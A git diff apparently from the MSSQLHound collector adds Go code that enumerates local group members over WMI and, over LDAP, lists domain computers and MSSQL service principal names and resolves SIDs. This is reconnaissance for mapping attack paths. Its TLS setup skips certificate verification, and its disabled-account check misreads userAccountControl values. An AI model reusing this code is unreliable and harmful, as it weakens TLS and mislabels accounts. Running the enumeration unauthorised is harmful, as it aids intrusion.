+ return nil, fmt.Errorf("WMI query failed: %w", err)
+ }
+ result := resultRaw.ToIDispatch()
+ defer result.Release()
+
+ // Get count
+ countVar, err := oleutil.GetProperty(result, "Count")
+ if err != nil {
+ return nil, fmt.Errorf("failed to get result count: %w", err)
+ }
+ count := int(countVar.Val)
+
+ if verbose {
+ fmt.Printf("Found %d members in %s\n", count, groupName)
+ }
+
+ // Pattern to parse PartComponent
+ // Example: \\\\COMPUTER\\root\\cimv2:Win32_UserAccount.Domain="DOMAIN",Name="USER"
+ partPattern := regexp.MustCompile(`Domain="([^"]+)",Name="([^"]+)"`)
+
+ // Iterate through results
+ for i := 0; i < count; i++ {
+ itemRaw, err := oleutil.CallMethod(result, "ItemIndex", i)
+ if err != nil {
+ continue
+ }
+ item := itemRaw.ToIDispatch()
+
+ // Get PartComponent (the member)
+ partComponentVar, err := oleutil.GetProperty(item, "PartComponent")
+ if err != nil {
+ item.Release()
+ continue
+ }
+ partComponent := partComponentVar.ToString()
+
+ // Parse the PartComponent to extract domain and name
+ matches := partPattern.FindStringSubmatch(partComponent)
+ if len(matches) >= 3 {
+ memberDomain := matches[1]
+ memberName := matches[2]
+
+ // Skip local accounts and well-known local accounts
+ upperDomain := strings.ToUpper(memberDomain)
+ upperComputer := strings.ToUpper(computerName)
+
+ if upperDomain != upperComputer &&
+ upperDomain != "NT AUTHORITY" &&
+ upperDomain != "NT SERVICE" {
+
+ if verbose {
+ fmt.Printf("Found domain member: %s\\%s\n", memberDomain, memberName)
+ }
+
+ members = append(members, GroupMember{
+ Domain: memberDomain,
+ Name: memberName,
+ })
+ }
+ }
+
+ item.Release()
+ }
+
+ // Always show the result
+ if len(members) > 0 {
+ fmt.Printf("Found %d domain members in %s\n", len(members), groupName)
+ } else {
+ fmt.Printf("No domain members found in %s\n", groupName)
+ }
+
+ return members, nil
+}
+
+// GetLocalGroupMembersWithFallback tries WMI enumeration and returns an empty slice on failure
+func GetLocalGroupMembersWithFallback(computerName, groupName string, verbose bool) []GroupMember {
+ members, err := GetLocalGroupMembers(computerName, groupName, verbose)
+ if err != nil {
+ if verbose {
+ fmt.Printf("WARNING: WMI enumeration failed for %s\\%s: %v\n", computerName, groupName, err)
+ } else {
+ fmt.Printf("WARNING: WMI enumeration failed for %s\\%s. This may require remote WMI access permissions.\n", computerName, groupName)
+ }
+ return nil
+ }
+ return members
+}
diff --git a/go/mssqlhound.exe b/go/mssqlhound.exe
new file mode 100644
index 0000000..83544e3
Binary files /dev/null and b/go/mssqlhound.exe differ
diff --git a/internal/ad/client.go b/internal/ad/client.go
new file mode 100644
index 0000000..3d88b56
--- /dev/null
+++ b/internal/ad/client.go
@@ -0,0 +1,1003 @@
+// Package ad provides Active Directory integration for SPN enumeration and SID resolution.
+package ad
+
+import (
+ "context"
+ "crypto/tls"
+ "fmt"
+ "net"
+ "strings"
+ "time"
+
+ "github.com/go-ldap/ldap/v3"
+
+ "github.com/SpecterOps/MSSQLHound/internal/types"
+)
+
+// Client handles Active Directory operations via LDAP
+type Client struct {
+ conn *ldap.Conn
+ domain string
+ domainController string
+ baseDN string
+ skipPrivateCheck bool
+ ldapUser string
+ ldapPassword string
+ dnsResolver string // Custom DNS resolver IP
+ resolver *net.Resolver
+
+ // Caches
+ sidCache map[string]*types.DomainPrincipal
+ domainCache map[string]bool
+}
+
+// NewClient creates a new AD client
+func NewClient(domain, domainController string, skipPrivateCheck bool, ldapUser, ldapPassword, dnsResolver string) *Client {
+ client := &Client{
+ domain: domain,
+ domainController: domainController,
+ skipPrivateCheck: skipPrivateCheck,
+ ldapUser: ldapUser,
+ ldapPassword: ldapPassword,
+ dnsResolver: dnsResolver,
+ sidCache: make(map[string]*types.DomainPrincipal),
+ domainCache: make(map[string]bool),
+ }
+
+ // Create custom resolver if DNS resolver is specified
+ if dnsResolver != "" {
+ client.resolver = &net.Resolver{
+ PreferGo: true,
+ Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
+ d := net.Dialer{
+ Timeout: time.Millisecond * time.Duration(10000),
+ }
+ return d.DialContext(ctx, network, net.JoinHostPort(dnsResolver, "53"))
+ },
+ }
+ } else {
+ // Use default resolver
+ client.resolver = net.DefaultResolver
+ }
+
+ return client
+}
+
+// Connect establishes a connection to the domain controller
+func (c *Client) Connect() error {
+ dc := c.domainController
+ if dc == "" {
+ // Try to resolve domain controller
+ var err error
+ dc, err = c.resolveDomainController()
+ if err != nil {
+ return fmt.Errorf("failed to resolve domain controller: %w", err)
+ }
+ }
+
+ // Build server name for TLS (used throughout)
+ serverName := dc
+ if !strings.Contains(serverName, ".") && c.domain != "" {
+ serverName = fmt.Sprintf("%s.%s", dc, c.domain)
+ }
+
+ // If explicit credentials provided, try multiple auth methods with TLS
+ if c.ldapUser != "" && c.ldapPassword != "" {
+ return c.connectWithExplicitCredentials(dc, serverName)
+ }
+
+ // No explicit credentials - try GSSAPI with current user context
+ return c.connectWithCurrentUser(dc, serverName)
+}
+
+// ldapDialTimeout is the TCP dial timeout for LDAP connections.
+const ldapDialTimeout = 10 * time.Second
+
+// dialLDAPS connects to LDAPS (port 636) with a timeout.
+func dialLDAPS(dc, serverName string) (*ldap.Conn, error) {
+ return ldap.DialURL(fmt.Sprintf("ldaps://%s:636", dc),
+ ldap.DialWithDialer(&net.Dialer{Timeout: ldapDialTimeout}),
+ ldap.DialWithTLSConfig(&tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true,
+ }))
+}
+
+// dialLDAP connects to LDAP (port 389) with a timeout.
+func dialLDAP(dc string) (*ldap.Conn, error) {
+ return ldap.DialURL(fmt.Sprintf("ldap://%s:389", dc),
+ ldap.DialWithDialer(&net.Dialer{Timeout: ldapDialTimeout}))
+}
+
+// connectWithExplicitCredentials tries multiple authentication methods with explicit credentials
+func (c *Client) connectWithExplicitCredentials(dc, serverName string) error {
+ var errors []string
+
+ // Try LDAPS first (port 636) - most secure
+ fmt.Printf(" Trying LDAPS on %s:636...\n", dc)
+ conn, err := dialLDAPS(dc, serverName)
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+
+ // Try NTLM first (most reliable with explicit creds)
+ fmt.Printf(" Trying NTLM bind over LDAPS...\n")
+ if bindErr := c.ntlmBind(conn); bindErr == nil {
+ fmt.Println(" Connected via LDAPS + NTLM")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 NTLM: %v", bindErr))
+ }
+
+ // Try Simple Bind (works well over TLS)
+ fmt.Printf(" Trying Simple bind over LDAPS...\n")
+ if bindErr := c.simpleBind(conn); bindErr == nil {
+ fmt.Println(" Connected via LDAPS + SimpleBind")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 SimpleBind: %v", bindErr))
+ }
+
+ // Try GSSAPI
+ fmt.Printf(" Trying GSSAPI bind over LDAPS...\n")
+ if bindErr := c.gssapiBind(conn, dc); bindErr == nil {
+ fmt.Println(" Connected via LDAPS + GSSAPI")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 GSSAPI: %v", bindErr))
+ }
+ conn.Close()
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 connect: %v", err))
+ fmt.Printf(" LDAPS:636 connection failed: %v\n", err)
+ }
+
+ // Try StartTLS on port 389
+ fmt.Printf(" Trying LDAP on %s:389 with StartTLS...\n", dc)
+ conn, err = dialLDAP(dc)
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ tlsErr := c.startTLS(conn, dc)
+ if tlsErr == nil {
+ // Try NTLM
+ fmt.Printf(" Trying NTLM bind over StartTLS...\n")
+ if bindErr := c.ntlmBind(conn); bindErr == nil {
+ fmt.Println(" Connected via LDAP+StartTLS + NTLM")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS NTLM: %v", bindErr))
+ }
+
+ // Try Simple Bind
+ fmt.Printf(" Trying Simple bind over StartTLS...\n")
+ if bindErr := c.simpleBind(conn); bindErr == nil {
+ fmt.Println(" Connected via LDAP+StartTLS + SimpleBind")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS SimpleBind: %v", bindErr))
+ }
+
+ // Try GSSAPI
+ fmt.Printf(" Trying GSSAPI bind over StartTLS...\n")
+ if bindErr := c.gssapiBind(conn, dc); bindErr == nil {
+ fmt.Println(" Connected via LDAP+StartTLS + GSSAPI")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS GSSAPI: %v", bindErr))
+ }
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389 StartTLS: %v", tlsErr))
+ }
+ conn.Close()
+ } else {
+ fmt.Printf(" LDAP:389 connection failed: %v\n", err)
+ }
+
+ // Try plain LDAP with NTLM (has built-in encryption via NTLM sealing)
+ fmt.Printf(" Trying plain LDAP on %s:389 with NTLM...\n", dc)
+ conn, err = dialLDAP(dc)
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ if bindErr := c.ntlmBind(conn); bindErr == nil {
+ fmt.Println(" Connected via LDAP + NTLM")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389 NTLM: %v", bindErr))
+ }
+ conn.Close()
+ }
+
+ return fmt.Errorf("all LDAP authentication methods failed with explicit credentials:\n %s", strings.Join(errors, "\n "))
+}
+
+// connectWithCurrentUser tries GSSAPI authentication with the current user's credentials
+func (c *Client) connectWithCurrentUser(dc, serverName string) error {
+ var errors []string
+
+ // Try LDAPS first (port 636) - most reliable with channel binding
+ fmt.Printf(" Trying LDAPS on %s:636 (GSSAPI, current user)...\n", dc)
+ conn, err := dialLDAPS(dc, serverName)
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ bindErr := c.gssapiBind(conn, dc)
+ if bindErr == nil {
+ fmt.Println(" Connected via LDAPS + GSSAPI (current user)")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ }
+ errors = append(errors, fmt.Sprintf("LDAPS:636 GSSAPI: %v", bindErr))
+ conn.Close()
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAPS:636 connect: %v", err))
+ fmt.Printf(" LDAPS:636 connection failed: %v\n", err)
+ }
+
+ // Try StartTLS on port 389
+ fmt.Printf(" Trying LDAP on %s:389 with StartTLS (GSSAPI, current user)...\n", dc)
+ conn, err = dialLDAP(dc)
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ tlsErr := c.startTLS(conn, dc)
+ if tlsErr == nil {
+ bindErr2 := c.gssapiBind(conn, dc)
+ if bindErr2 == nil {
+ fmt.Println(" Connected via LDAP+StartTLS + GSSAPI (current user)")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ }
+ errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS GSSAPI: %v", bindErr2))
+ } else {
+ errors = append(errors, fmt.Sprintf("LDAP:389 StartTLS: %v", tlsErr))
+ }
+ conn.Close()
+ }
+
+ // Try plain LDAP without TLS (may work if DC doesn't require signing)
+ fmt.Printf(" Trying plain LDAP on %s:389 (GSSAPI, current user)...\n", dc)
+ conn, err = dialLDAP(dc)
+ if err == nil {
+ conn.SetTimeout(30 * time.Second)
+ bindErr3 := c.gssapiBind(conn, dc)
+ if bindErr3 == nil {
+ fmt.Println(" Connected via LDAP + GSSAPI (current user)")
+ c.conn = conn
+ c.baseDN = domainToDN(c.domain)
+ return nil
+ }
+ errors = append(errors, fmt.Sprintf("LDAP:389 GSSAPI: %v", bindErr3))
+ conn.Close()
+ }
+
+ // Provide helpful troubleshooting message
+ errMsg := fmt.Sprintf("all LDAP connection methods failed: %s", strings.Join(errors, "; "))
+
+ // Check for common issues and provide suggestions
+ if containsAny(errors, "80090346", "Invalid Credentials") {
+ errMsg += "\n\nTroubleshooting suggestions for Kerberos authentication failures:"
+ errMsg += "\n 1. Verify your Kerberos ticket is valid: run 'klist' to check"
+ errMsg += "\n 2. Check time synchronization with the domain controller"
+ errMsg += "\n 3. Try using explicit credentials with --ldap-user and --ldap-password"
+ errMsg += "\n 4. If EPA (Extended Protection) is enabled, explicit credentials may be required"
+ }
+ if containsAny(errors, "Strong Auth Required", "integrity checking") {
+ errMsg += "\n\nNote: The domain controller requires LDAP signing. GSSAPI should provide this,"
+ errMsg += "\n but if it's failing, try using explicit credentials which enables NTLM or Simple Bind."
+ }
+
+ return fmt.Errorf("%s", errMsg)
+}
+
+// containsAny checks if any of the error strings contain any of the substrings
+func containsAny(errors []string, substrings ...string) bool {
+ for _, err := range errors {
+ for _, sub := range substrings {
+ if strings.Contains(err, sub) {
+ return true
+ }
+ }
+ }
+ return false
+}
+
+// ntlmBind performs NTLM authentication
+func (c *Client) ntlmBind(conn *ldap.Conn) error {
+ // Parse domain and username
+ domain := c.domain
+ username := c.ldapUser
+
+ if strings.Contains(username, "\\") {
+ parts := strings.SplitN(username, "\\", 2)
+ domain = parts[0]
+ username = parts[1]
+ } else if strings.Contains(username, "@") {
+ parts := strings.SplitN(username, "@", 2)
+ username = parts[0]
+ domain = parts[1]
+ }
+
+ return conn.NTLMBind(domain, username, c.ldapPassword)
+}
+
+// simpleBind performs simple LDAP authentication (requires TLS for security)
+// This is a fallback when NTLM and GSSAPI fail
+func (c *Client) simpleBind(conn *ldap.Conn) error {
+ // Build the bind DN - try multiple formats
+ username := c.ldapUser
+
+ // If it's already a DN format, use it directly
+ if strings.Contains(strings.ToLower(username), "cn=") || strings.Contains(strings.ToLower(username), "dc=") {
+ return conn.Bind(username, c.ldapPassword)
+ }
+
+ // Try UPN format (user@domain) first - most compatible
+ if strings.Contains(username, "@") {
+ if err := conn.Bind(username, c.ldapPassword); err == nil {
+ return nil
+ }
+ }
+
+ // Try DOMAIN\user format converted to UPN
+ if strings.Contains(username, "\\") {
+ parts := strings.SplitN(username, "\\", 2)
+ upn := fmt.Sprintf("%s@%s", parts[1], parts[0])
+ if err := conn.Bind(upn, c.ldapPassword); err == nil {
+ return nil
+ }
+ }
+
+ // Try constructing UPN with the domain
+ if !strings.Contains(username, "@") && !strings.Contains(username, "\\") {
+ upn := fmt.Sprintf("%s@%s", username, c.domain)
+ if err := conn.Bind(upn, c.ldapPassword); err == nil {
+ return nil
+ }
+ }
+
+ // Final attempt with original username
+ return conn.Bind(username, c.ldapPassword)
+}
+
+func (c *Client) gssapiBind(conn *ldap.Conn, dc string) error {
+ gssClient, closeFn, err := newGSSAPIClient(c.domain, c.ldapUser, c.ldapPassword)
+ if err != nil {
+ return err
+ }
+ defer closeFn()
+
+ serviceHost := dc
+ if !strings.Contains(serviceHost, ".") && c.domain != "" {
+ serviceHost = fmt.Sprintf("%s.%s", dc, c.domain)
+ }
+
+ servicePrincipal := fmt.Sprintf("ldap/%s", strings.ToLower(serviceHost))
+ if err := conn.GSSAPIBind(gssClient, servicePrincipal, ""); err == nil {
+ return nil
+ } else {
+ // Retry with short hostname SPN if FQDN failed.
+ shortHost := strings.SplitN(serviceHost, ".", 2)[0]
+ if shortHost != "" && shortHost != serviceHost {
+ fallbackSPN := fmt.Sprintf("ldap/%s", strings.ToLower(shortHost))
+ if err2 := conn.GSSAPIBind(gssClient, fallbackSPN, ""); err2 == nil {
+ return nil
+ }
+ return fmt.Errorf("GSSAPI bind failed for %s (%v) and %s", servicePrincipal, err, fallbackSPN)
+ }
+ return fmt.Errorf("GSSAPI bind failed for %s: %w", servicePrincipal, err)
+ }
+}
+
+func (c *Client) startTLS(conn *ldap.Conn, dc string) error {
+ serverName := dc
+ if !strings.Contains(serverName, ".") && c.domain != "" {
+ serverName = fmt.Sprintf("%s.%s", dc, c.domain)
+ }
+
+ return conn.StartTLS(&tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true,
+ })
+}
+
+// Close closes the LDAP connection
+func (c *Client) Close() error {
+ if c.conn != nil {
+ c.conn.Close()
+ }
+ return nil
+}
+
+// resolveDomainController attempts to find a domain controller for the domain
+func (c *Client) resolveDomainController() (string, error) {
+ ctx := context.Background()
+
+ // Try SRV record lookup
+ _, addrs, err := c.resolver.LookupSRV(ctx, "ldap", "tcp", c.domain)
+ if err == nil && len(addrs) > 0 {
+ return strings.TrimSuffix(addrs[0].Target, "."), nil
+ }
+
+ // Fall back to using domain name directly
+ return c.domain, nil
+}
+
+// EnumerateMSSQLSPNs finds all MSSQL service principal names in the domain
+func (c *Client) EnumerateMSSQLSPNs() ([]types.SPN, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ // Search for accounts with MSSQLSvc SPNs
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 0, 0, false,
+ "(servicePrincipalName=MSSQLSvc/*)",
+ []string{"servicePrincipalName", "sAMAccountName", "objectSid", "distinguishedName"},
+ nil,
+ )
+
+ // Use paging to handle large result sets
+ var spns []types.SPN
+ pagingControl := ldap.NewControlPaging(1000)
+ searchRequest.Controls = append(searchRequest.Controls, pagingControl)
+
+ for {
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ for _, entry := range result.Entries {
+ accountName := entry.GetAttributeValue("sAMAccountName")
+ sidBytes := entry.GetRawAttributeValue("objectSid")
+ accountSID := decodeSID(sidBytes)
+
+ for _, spn := range entry.GetAttributeValues("servicePrincipalName") {
+ if !strings.HasPrefix(strings.ToUpper(spn), "MSSQLSVC/") {
+ continue
+ }
+
+ parsed := parseSPN(spn)
+ parsed.AccountName = accountName
+ parsed.AccountSID = accountSID
+
+ spns = append(spns, parsed)
+ }
+ }
+
+ // Check if there are more pages
+ pagingResult := ldap.FindControl(result.Controls, ldap.ControlTypePaging)
+ if pagingResult == nil {
+ break
+ }
+ pagingCtrl := pagingResult.(*ldap.ControlPaging)
+ if len(pagingCtrl.Cookie) == 0 {
+ break
+ }
+ pagingControl.SetCookie(pagingCtrl.Cookie)
+ }
+
+ return spns, nil
+}
+
+// LookupMSSQLSPNsForHost finds MSSQL SPNs for a specific hostname
+func (c *Client) LookupMSSQLSPNsForHost(hostname string) ([]types.SPN, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ // Extract short hostname for matching
+ shortHost := hostname
+ if idx := strings.Index(hostname, "."); idx > 0 {
+ shortHost = hostname[:idx]
+ }
+
+ // Search for SPNs matching this hostname (MSSQLSvc/hostname or MSSQLSvc/hostname.domain)
+ // Use a wildcard search to catch both short and FQDN forms
+ filter := fmt.Sprintf("(|(servicePrincipalName=MSSQLSvc/%s*)(servicePrincipalName=MSSQLSvc/%s*))", shortHost, hostname)
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 0, 0, false,
+ filter,
+ []string{"servicePrincipalName", "sAMAccountName", "objectSid", "distinguishedName"},
+ nil,
+ )
+
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ var spns []types.SPN
+
+ for _, entry := range result.Entries {
+ accountName := entry.GetAttributeValue("sAMAccountName")
+ sidBytes := entry.GetRawAttributeValue("objectSid")
+ accountSID := decodeSID(sidBytes)
+
+ for _, spn := range entry.GetAttributeValues("servicePrincipalName") {
+ if !strings.HasPrefix(strings.ToUpper(spn), "MSSQLSVC/") {
+ continue
+ }
+
+ // Verify this SPN matches our target hostname
+ parsed := parseSPN(spn)
+ spnHost := strings.ToLower(parsed.Hostname)
+ targetHost := strings.ToLower(hostname)
+ targetShort := strings.ToLower(shortHost)
+
+ // Check if the SPN hostname matches our target
+ if spnHost == targetHost || spnHost == targetShort ||
+ strings.HasPrefix(spnHost, targetShort+".") {
+ parsed.AccountName = accountName
+ parsed.AccountSID = accountSID
+ spns = append(spns, parsed)
+ }
+ }
+ }
+
+ return spns, nil
+}
+
+// EnumerateAllComputers returns all computer objects in the domain
+func (c *Client) EnumerateAllComputers() ([]string, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 0, 0, false,
+ "(&(objectCategory=computer)(objectClass=computer))",
+ []string{"dNSHostName", "name"},
+ nil,
+ )
+
+ // Use paging to handle large result sets (AD default limit is 1000)
+ var computers []string
+ pagingControl := ldap.NewControlPaging(1000)
+ searchRequest.Controls = append(searchRequest.Controls, pagingControl)
+
+ for {
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ for _, entry := range result.Entries {
+ hostname := entry.GetAttributeValue("dNSHostName")
+ if hostname == "" {
+ hostname = entry.GetAttributeValue("name")
+ }
+ if hostname != "" {
+ computers = append(computers, hostname)
+ }
+ }
+
+ // Check if there are more pages
+ pagingResult := ldap.FindControl(result.Controls, ldap.ControlTypePaging)
+ if pagingResult == nil {
+ break
+ }
+ pagingCtrl := pagingResult.(*ldap.ControlPaging)
+ if len(pagingCtrl.Cookie) == 0 {
+ break
+ }
+ pagingControl.SetCookie(pagingCtrl.Cookie)
+ }
+
+ return computers, nil
+}
+
+// ResolveSID resolves a SID to a domain principal
+func (c *Client) ResolveSID(sid string) (*types.DomainPrincipal, error) {
+ // Check cache first
+ if cached, ok := c.sidCache[sid]; ok {
+ return cached, nil
+ }
+
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ // Convert SID string to binary for LDAP search
+ sidFilter := fmt.Sprintf("(objectSid=%s)", escapeSIDForLDAP(sid))
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 1, 0, false,
+ sidFilter,
+ []string{"sAMAccountName", "distinguishedName", "objectClass", "userAccountControl", "memberOf", "dNSHostName", "userPrincipalName"},
+ nil,
+ )
+
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ if len(result.Entries) == 0 {
+ return nil, fmt.Errorf("SID not found: %s", sid)
+ }
+
+ entry := result.Entries[0]
+
+ principal := &types.DomainPrincipal{
+ SID: sid,
+ SAMAccountName: entry.GetAttributeValue("sAMAccountName"),
+ DistinguishedName: entry.GetAttributeValue("distinguishedName"),
+ Domain: c.domain,
+ MemberOf: entry.GetAttributeValues("memberOf"),
+ }
+
+ // Determine object class
+ classes := entry.GetAttributeValues("objectClass")
+ for _, class := range classes {
+ switch strings.ToLower(class) {
+ case "user":
+ principal.ObjectClass = "user"
+ case "group":
+ principal.ObjectClass = "group"
+ case "computer":
+ principal.ObjectClass = "computer"
+ }
+ }
+
+ // Determine if enabled (for users/computers)
+ uac := entry.GetAttributeValue("userAccountControl")
+ if uac != "" {
+ // UAC flag 0x0002 = ACCOUNTDISABLE
+ principal.Enabled = !strings.Contains(uac, "2")
+ }
+
+ // Store raw LDAP attributes for AD enrichment on nodes
+ dnsHostName := entry.GetAttributeValue("dNSHostName")
+ userPrincipalName := entry.GetAttributeValue("userPrincipalName")
+ principal.DNSHostName = dnsHostName
+ principal.UserPrincipalName = userPrincipalName
+
+ // Set the Name based on object class to match PowerShell behavior:
+ // - For computers: use DNSHostName (FQDN) if available, otherwise SAMAccountName
+ // - For users: use userPrincipalName if available, otherwise DOMAIN\SAMAccountName
+ // - For groups: use DOMAIN\SAMAccountName
+ switch principal.ObjectClass {
+ case "computer":
+ if dnsHostName != "" {
+ principal.Name = dnsHostName
+ } else {
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ case "user":
+ if userPrincipalName != "" {
+ principal.Name = userPrincipalName
+ } else {
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ default:
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ principal.ObjectIdentifier = sid
+
+ // Cache the result
+ c.sidCache[sid] = principal
+
+ return principal, nil
+}
+
+// ResolveName resolves a name (DOMAIN\user or user@domain) to a domain principal
+func (c *Client) ResolveName(name string) (*types.DomainPrincipal, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ var samAccountName string
+
+ // Parse the name format
+ if strings.Contains(name, "\\") {
+ parts := strings.SplitN(name, "\\", 2)
+ samAccountName = parts[1]
+ } else if strings.Contains(name, "@") {
+ parts := strings.SplitN(name, "@", 2)
+ samAccountName = parts[0]
+ } else {
+ samAccountName = name
+ }
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 1, 0, false,
+ fmt.Sprintf("(sAMAccountName=%s)", ldap.EscapeFilter(samAccountName)),
+ []string{"sAMAccountName", "distinguishedName", "objectClass", "objectSid", "userAccountControl", "memberOf", "dNSHostName", "userPrincipalName"},
+ nil,
+ )
+
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ if len(result.Entries) == 0 {
+ return nil, fmt.Errorf("name not found: %s", name)
+ }
+
+ entry := result.Entries[0]
+ sidBytes := entry.GetRawAttributeValue("objectSid")
+ sid := decodeSID(sidBytes)
+
+ principal := &types.DomainPrincipal{
+ SID: sid,
+ SAMAccountName: entry.GetAttributeValue("sAMAccountName"),
+ DistinguishedName: entry.GetAttributeValue("distinguishedName"),
+ Domain: c.domain,
+ MemberOf: entry.GetAttributeValues("memberOf"),
+ ObjectIdentifier: sid,
+ }
+
+ // Determine object class
+ classes := entry.GetAttributeValues("objectClass")
+ for _, class := range classes {
+ switch strings.ToLower(class) {
+ case "user":
+ principal.ObjectClass = "user"
+ case "group":
+ principal.ObjectClass = "group"
+ case "computer":
+ principal.ObjectClass = "computer"
+ }
+ }
+
+ // Store raw LDAP attributes for AD enrichment on nodes
+ dnsHostName := entry.GetAttributeValue("dNSHostName")
+ userPrincipalName := entry.GetAttributeValue("userPrincipalName")
+ principal.DNSHostName = dnsHostName
+ principal.UserPrincipalName = userPrincipalName
+
+ // Set the Name based on object class to match PowerShell behavior
+ switch principal.ObjectClass {
+ case "computer":
+ if dnsHostName != "" {
+ principal.Name = dnsHostName
+ } else {
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ case "user":
+ if userPrincipalName != "" {
+ principal.Name = userPrincipalName
+ } else {
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ default:
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+
+ // Cache by SID
+ c.sidCache[sid] = principal
+
+ return principal, nil
+}
+
+// ValidateDomain checks if a domain is reachable and valid
+func (c *Client) ValidateDomain(domain string) bool {
+ // Check cache
+ if valid, ok := c.domainCache[domain]; ok {
+ return valid
+ }
+
+ ctx := context.Background()
+
+ // Try to resolve the domain
+ addrs, err := c.resolver.LookupHost(ctx, domain)
+ if err != nil {
+ c.domainCache[domain] = false
+ return false
+ }
+
+ // Check if the IP is private (RFC 1918) unless skipped
+ if !c.skipPrivateCheck {
+ for _, addr := range addrs {
+ ip := net.ParseIP(addr)
+ if ip != nil && isPrivateIP(ip) {
+ c.domainCache[domain] = true
+ return true
+ }
+ }
+ // No private IPs found
+ c.domainCache[domain] = false
+ return false
+ }
+
+ c.domainCache[domain] = len(addrs) > 0
+ return len(addrs) > 0
+}
+
+// ResolveComputerSID resolves a computer name to its SID
+// The computer name can be provided with or without the trailing $
+func (c *Client) ResolveComputerSID(computerName string) (string, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return "", err
+ }
+ }
+
+ // Ensure computer name ends with $ for the sAMAccountName search
+ samName := computerName
+ if !strings.HasSuffix(samName, "$") {
+ samName = samName + "$"
+ }
+
+ // Check cache
+ if cached, ok := c.sidCache[samName]; ok {
+ return cached.SID, nil
+ }
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 1, 0, false,
+ fmt.Sprintf("(&(objectClass=computer)(sAMAccountName=%s))", ldap.EscapeFilter(samName)),
+ []string{"sAMAccountName", "objectSid"},
+ nil,
+ )
+
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return "", fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ if len(result.Entries) == 0 {
+ return "", fmt.Errorf("computer not found: %s", computerName)
+ }
+
+ entry := result.Entries[0]
+ sidBytes := entry.GetRawAttributeValue("objectSid")
+ sid := decodeSID(sidBytes)
+
+ if sid == "" {
+ return "", fmt.Errorf("could not decode SID for computer: %s", computerName)
+ }
+
+ // Cache the result
+ c.sidCache[samName] = &types.DomainPrincipal{
+ SID: sid,
+ SAMAccountName: entry.GetAttributeValue("sAMAccountName"),
+ ObjectClass: "computer",
+ }
+
+ return sid, nil
+}
+
+// Helper functions
+
+// domainToDN converts a domain name to an LDAP distinguished name
+func domainToDN(domain string) string {
